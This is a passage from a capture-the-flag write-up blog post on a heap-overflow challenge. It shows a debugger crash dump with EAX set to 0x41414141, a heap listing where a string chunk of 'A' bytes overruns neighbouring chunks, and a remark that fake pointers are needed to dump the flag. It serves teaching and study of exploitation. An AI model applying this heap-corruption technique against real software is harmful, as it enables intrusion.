EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0
ESP: 0xffffcbd0 --> 0xc0
EIP: 0x804955c (mov edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049553: mov eax,DWORD PTR [ebp+0x8]
0x8049556: mov eax,DWORD PTR [eax+0x4]
0x8049559: mov eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov edx,DWORD PTR [eax+0x14]
</pre>
EAX points to 0x41414141
<pre class="highlight">
Used chunks of memory on heap
-----------------------------
0: 0x0804d008 -> 0x0804d057 80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
1: 0x0804d058 -> 0x0804d0a7 80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
2: 0x0804d0a8 -> 0x0804d0f7 80 bytes C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
</pre>
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is <a style="color: #0099FF"href="http://ww9210.cn/2015/04/20/plaid-ctf-writeup-ebp-clifford-prodmanager/">here</a>
</div>Reno Roberthttp://www.blogger.com/profile/01980174423078410529noreply@blogger.com0